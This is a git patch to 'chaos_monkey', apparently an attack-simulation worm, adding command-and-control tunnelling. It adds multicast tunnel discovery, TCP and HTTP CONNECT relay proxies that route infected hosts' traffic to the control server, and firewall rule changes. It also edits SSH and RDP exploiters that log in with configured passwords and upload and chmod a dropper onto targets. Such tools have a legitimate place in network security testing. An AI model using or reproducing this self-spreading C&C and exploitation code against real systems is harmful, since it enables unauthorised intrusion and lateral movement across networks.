From edc0f5fdf3ee1d5ea31071f2e715e87658e97177 Mon Sep 17 00:00:00 2001 From: Barak Hoffer Date: Thu, 8 Oct 2015 13:39:52 +0300 Subject: [PATCH] add support for c&c tunneling "GC-3595 #resolve" --- chaos_monkey/control.py | 75 ++++++++++++++-- chaos_monkey/exploit/rdpgrinder.py | 4 + chaos_monkey/exploit/sshexec.py | 14 ++- chaos_monkey/main.py | 2 +- chaos_monkey/monkey.py | 27 ++++-- chaos_monkey/network/__init__.py | 3 +- chaos_monkey/network/info.py | 18 +++- chaos_monkey/transport/base.py | 13 +++ chaos_monkey/transport/http.py | 58 ++++++++++++- chaos_monkey/transport/tcp.py | 76 +++++++++++++++++ chaos_monkey/tunnel.py | 133 +++++++++++++++++++++++++++++ 11 files changed, 404 insertions(+), 19 deletions(-) create mode 100644 chaos_monkey/transport/base.py create mode 100644 chaos_monkey/transport/tcp.py create mode 100644 chaos_monkey/tunnel.py diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index a7f1cc82c..b88e00325 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -8,6 +8,9 @@ import monkeyfs from network.info import local_ips from socket import gethostname, gethostbyname_ex from config import WormConfiguration, Configuration, GUID +from transport.tcp import TcpProxy +from transport.http import HTTPConnectProxy +import tunnel __author__ = 'hoffer' @@ -17,6 +20,7 @@ LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 class ControlClient(object): + proxies = {} @staticmethod def wakeup(parent=None): @@ -33,27 +37,49 @@ class ControlClient(object): 'ip_addresses' : local_ips(), 'description' : " ".join(platform.uname()), 'config' : WormConfiguration.as_dict(), - 'parent' : parent + 'parent' : parent, } + + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') reply = requests.post("https://%s/api/monkey" % (server,), data=json.dumps(monkey), headers={'content-type' : 'application/json'}, - verify=False) + verify=False, + proxies=ControlClient.proxies) break except Exception, exc: + WormConfiguration.current_server = '' LOG.warn("Error connecting to control server %s: %s", server, exc) + if not WormConfiguration.current_server: + if not ControlClient.proxies: + LOG.info("Starting tunnel lookup...") + proxy_find = tunnel.find_tunnel() + if proxy_find: + LOG.info("Found tunnel at %s:%s" % proxy_find) + ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find + ControlClient.wakeup(parent) + else: + LOG.info("No tunnel found") + @staticmethod def keepalive(): + if not WormConfiguration.current_server: + return try: + monkey = {} + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - data=json.dumps({}), + data=json.dumps(monkey), headers={'content-type' : 'application/json'}, - verify=False) + verify=False, + proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -61,12 +87,15 @@ class ControlClient(object): @staticmethod def send_telemetry(tele_type='general',data=''): + if not WormConfiguration.current_server: + return try: telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data} reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), data=json.dumps(telemetry), headers={'content-type' : 'application/json'}, - verify=False) + verify=False, + proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", @@ -74,8 +103,12 @@ class ControlClient(object): @staticmethod def load_control_config(): + if not WormConfiguration.current_server: + return try: - reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False) + reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + verify=False, + proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", @@ -90,11 +123,13 @@ class ControlClient(object): @staticmethod def download_monkey_exe(host): + if not WormConfiguration.current_server: + return None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), data=json.dumps(host.as_dict()), headers={'content-type' : 'application/json'}, - verify=False) + verify=False, proxies=ControlClient.proxies) if 200 == reply.status_code: result_json = reply.json() @@ -107,7 +142,9 @@ class ControlClient(object): return dest_file else: download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename), - verify=False) + verify=False, + proxies=ControlClient.proxies) + with monkeyfs.open(dest_file, 'wb') as file_obj: for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): if chunk: @@ -122,3 +159,25 @@ class ControlClient(object): return None + + @staticmethod + def create_control_tunnel(): + if not WormConfiguration.current_server: + return None + + my_proxy = ControlClient.proxies.get('https', '').replace('https://', '') + if my_proxy: + proxy_class = TcpProxy + try: + target_addr, target_port = my_proxy.split(':', 1) + target_port = int(target_port) + except: + return None + else: + proxy_class = HTTPConnectProxy + target_addr, target_port = None, None + + return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + + + diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index e7e4859f1..05057db67 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -243,6 +243,10 @@ class RdpExploiter(HostExploiter): # create server for http download. http_path, http_thread = HTTPTools.create_transfer(host, src_path) + if not http_path: + LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") + return False + if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path} else: diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 0230717d2..817cf701a 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -6,17 +6,25 @@ from exploit import HostExploiter from model import MONKEY_ARG from exploit.tools import get_target_monkey from network.tools import check_port_tcp +import time __author__ = 'hoffer' LOG = logging.getLogger(__name__) SSH_PORT = 22 +TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): _target_os_type = ['linux', None] def __init__(self): self._config = __import__('config').WormConfiguration + self._update_timestamp = 0 + + def log_transfer(self, transferred, total): + if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: + LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) + self._update_timestamp = time.time() def exploit_host(self, host, src_path=None): ssh = paramiko.SSHClient() @@ -45,7 +53,8 @@ class SSHExploiter(HostExploiter): ssh.connect(host.ip_addr, username=self._config.ssh_user, password=password, - port=port) + port=port, + timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", host, self._config.ssh_user, password) @@ -95,8 +104,9 @@ class SSHExploiter(HostExploiter): try: ftp = ssh.open_sftp() + self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: - ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path)) + ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0777) ftp.close() diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index a47d803a4..8332312a2 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -97,7 +97,7 @@ def main(): if WormConfiguration.serialize_config: with open(config_file, 'w') as config_fo: json_dict = WormConfiguration.as_dict() - json.dump(json_dict, config_fo) + json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) return True finally: diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 40b15c521..534716afe 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -4,9 +4,11 @@ import time import logging import platform from system_singleton import SystemSingleton +from network.firewall import app as firewall from control import ControlClient from config import WormConfiguration, EXTERNAL_CONFIG_FILE from network.network_scanner import NetworkScanner +import tunnel import getopt __author__ = 'itamar' @@ -46,16 +48,20 @@ class ChaosMonkey(object): self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] - self._os_type = platform.system().lower() - self._machine = platform.machine().lower() - - ControlClient.wakeup(self._parent) - ControlClient.load_control_config() def start(self): LOG.info("WinWorm is running...") + if firewall.is_enabled(): + firewall.add_firewall_rule() + + ControlClient.wakeup(self._parent) + + monkey_tunnel = ControlClient.create_control_tunnel() + if monkey_tunnel: + monkey_tunnel.start() + for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() @@ -136,7 +142,18 @@ class ChaosMonkey(object): if self._keep_running: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) + if monkey_tunnel: + monkey_tunnel.stop() + monkey_tunnel.join() + def cleanup(self): self._keep_running = False self._singleton.unlock() + + tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] + if tunnel_address: + LOG.info("Quitting tunnel %s", tunnel_address) + tunnel.quit_tunnel(tunnel_address) + + firewall.close() diff --git a/chaos_monkey/network/__init__.py b/chaos_monkey/network/__init__.py index 16edb2a3d..c0d911bdf 100644 --- a/chaos_monkey/network/__init__.py +++ b/chaos_monkey/network/__init__.py @@ -23,4 +23,5 @@ from ping_scanner import PingScanner from tcp_scanner import TcpScanner from smbfinger import SMBFinger from sshfinger import SSHFinger -from info import local_ips \ No newline at end of file +from info import local_ips +from info import get_free_tcp_port \ No newline at end of file diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py index 10a12abf8..5ec17cc77 100644 --- a/chaos_monkey/network/info.py +++ b/chaos_monkey/network/info.py @@ -2,6 +2,8 @@ import sys import socket import struct import array +import psutil +from random import randint __author__ = 'hoffer' @@ -39,4 +41,18 @@ else: result.append(addr) #name of interface is (namestr[i:i+16].split('\0', 1)[0] finally: - return result \ No newline at end of file + return result + +def get_free_tcp_port(min_range=1000, max_range=65535): + start_range = min(1, min_range) + max_range = min(65535, max_range) + + in_use = [conn.laddr[1] for conn in psutil.net_connections()] + + for i in range(min_range, max_range): + port = randint(start_range, max_range) + + if not port in in_use: + return port + + return None \ No newline at end of file diff --git a/chaos_monkey/transport/base.py b/chaos_monkey/transport/base.py new file mode 100644 index 000000000..ca5362011 --- /dev/null +++ b/chaos_monkey/transport/base.py @@ -0,0 +1,13 @@ +from threading import Thread + +class TransportProxyBase(Thread): + def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''): + self.local_host = local_host + self.local_port = local_port + self.dest_host = dest_host + self.dest_port = dest_port + self._stopped = False + super(TransportProxyBase, self).__init__() + + def stop(self): + self._stopped = True \ No newline at end of file diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py index 960e81d25..5b770937d 100644 --- a/chaos_monkey/transport/http.py +++ b/chaos_monkey/transport/http.py @@ -3,6 +3,10 @@ import shutil import struct import monkeyfs from logging import getLogger +from base import TransportProxyBase +from urlparse import urlsplit +import select +import socket __author__ = 'hoffer' @@ -97,6 +101,51 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): format % args)) +class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): + timeout = 2 # timeout with clients, set to None not to make persistent connection + proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header + protocol_version = "HTTP/1.1" + + def version_string(self): + return "" + + def do_CONNECT(self): + # just provide a tunnel, transfer the data with no modification + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + self.send_error(504) # 504 Gateway Timeout + return + self.send_response(200, 'Connection Established') + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def log_message(self, format, *args): + LOG.debug("HTTPConnectProxyHandler: %s - - [%s] %s" % (self.address_string(), + self.log_date_time_string(), + format % args)) + class InternalHTTPServer(BaseHTTPServer.HTTPServer): def handle_error(self, request, client_address): #ToDo: debug log error @@ -136,4 +185,11 @@ class HTTPServer(threading.Thread): def stop(self, timeout=60): self._stopped = True self.join(timeout) - \ No newline at end of file + +class HTTPConnectProxy(TransportProxyBase): + def run(self): + httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) + httpd.timeout = 10 + + while not self._stopped: + httpd.handle_request() diff --git a/chaos_monkey/transport/tcp.py b/chaos_monkey/transport/tcp.py new file mode 100644 index 000000000..0e8135b3a --- /dev/null +++ b/chaos_monkey/transport/tcp.py @@ -0,0 +1,76 @@ +import sys +import socket +import select +import time +from threading import Thread +from base import TransportProxyBase +from logging import getLogger + +READ_BUFFER_SIZE = 8192 +DEFAULT_TIMEOUT = 10 + +LOG = getLogger(__name__) + +class SocketsPipe(Thread): + def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT): + Thread.__init__( self ) + self.source = source + self.dest = dest + self.timeout = timeout + self._keep_connection = True + super(SocketsPipe, self).__init__() + + def run(self): + sockets = [self.source, self.dest] + while self._keep_connection: + self._keep_connection = False + rlist, wlist, xlist = select.select(sockets, [], sockets, self.timeout) + if xlist: + break + for r in rlist: + other = self.dest if r is self.source else self.source + try: + data = r.recv(READ_BUFFER_SIZE) + except: + break + if data: + try: + other.sendall(data) + except: + break + self._keep_connection = True + + self.source.close() + self.dest.close() + +class TcpProxy(TransportProxyBase): + + def run(self): + pipes = [] + l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + l_socket.bind((self.local_host, self.local_port)) + l_socket.settimeout(DEFAULT_TIMEOUT) + l_socket.listen(5) + + while not self._stopped: + try: + source, address = l_socket.accept() + except socket.timeout: + continue + + try: + dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + dest.connect((self.dest_host, self.dest_port)) + except socket.error, ex: + source.close() + dest.close() + continue + + pipe = SocketsPipe(source, dest) + pipes.append(pipe) + LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port) + pipe.start() + + l_socket.close() + for pipe in pipes: + pipe.join() \ No newline at end of file diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py new file mode 100644 index 000000000..c6b08fab2 --- /dev/null +++ b/chaos_monkey/tunnel.py @@ -0,0 +1,133 @@ +import socket +import struct +import logging +from threading import Thread +from network.info import local_ips, get_free_tcp_port +from network.firewall import app as firewall +from difflib import get_close_matches +from network.tools import check_port_tcp +import time + +__author__ = 'hoffer' + +LOG = logging.getLogger(__name__) + +MCAST_GROUP = '224.1.1.1' +MCAST_PORT = 5007 +BUFFER_READ = 1024 +DEFAULT_TIMEOUT = 10 +QUIT_TIMEOUT = 1200 #20 minutes + +def _set_multicast_socket(timeout=DEFAULT_TIMEOUT): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + sock.settimeout(timeout) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(('', MCAST_PORT)) + sock.setsockopt(socket.IPPROTO_IP, + socket.IP_ADD_MEMBERSHIP, + struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY)) + return sock + + +def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT): + sock = _set_multicast_socket(timeout) + + l_ips = local_ips() + + for attempt in range(0, attempts): + try: + sock.sendto("?", (MCAST_GROUP, MCAST_PORT)) + answer, address = sock.recvfrom(BUFFER_READ) + + while answer in ['?', '+', '-']: + answer, address = sock.recvfrom(BUFFER_READ) + + if answer.find(':') != -1: + address, port = answer.split(':', 1) + if address in l_ips: + continue + if not check_port_tcp(address, int(port)): + continue + + sock.sendto("+", (address, MCAST_PORT)) + sock.close() + return (address, port) + except: + continue + + return None + +def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): + try: + sock = _set_multicast_socket(timeout) + sock.sendto("-", (address, MCAST_PORT)) + sock.close() + LOG.debug("Success quitting tunnel") + except Exception, exc: + LOG.debug("Exception quitting tunnel: %s", exc) + return + + +class MonkeyTunnel(Thread): + def __init__(self, proxy_class, target_addr=None, target_port=None, timeout=DEFAULT_TIMEOUT): + self._target_addr = target_addr + self._target_port = target_port + self._proxy_class = proxy_class + self._broad_sock = None + self._timeout = timeout + self._stopped = False + self._clients = [] + super(MonkeyTunnel, self).__init__() + + def run(self): + self._broad_sock = _set_multicast_socket(self._timeout) + + l_ips = local_ips() + + local_port = get_free_tcp_port() + + if not local_port: + return + + if not firewall.listen_allowed(localport=local_port): + LOG.info("Machine firewalled, listen not allowed, not running tunnel.") + return + + proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port) + LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port) + proxy.start() + + while not self._stopped: + try: + search, address = self._broad_sock.recvfrom(BUFFER_READ) + if '?' == search: + ip_match = get_close_matches(address[0], l_ips) or l_ips + if ip_match: + answer = '%s:%d' % (ip_match[0], local_port) + LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) + self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT)) + elif '+' == search: + if not address[0] in self._clients: + self._clients.append(address[0]) + elif '-' == search: + self._clients = [client for client in self._clients if client != address[0]] + + except socket.timeout: + continue + + LOG.info("Stopping tunnel, waiting for clients") + stop_time = time.time() + while self._clients and (time.time() - stop_time < QUIT_TIMEOUT): + try: + search, address = self._broad_sock.recvfrom(BUFFER_READ) + if '-' == search: + self._clients = [client for client in self._clients if client != address[0]] + except socket.timeout: + continue + LOG.info("Closing tunnel") + self._broad_sock.close() + proxy.stop() + proxy.join() + + def stop(self): + self._stopped = True \ No newline at end of file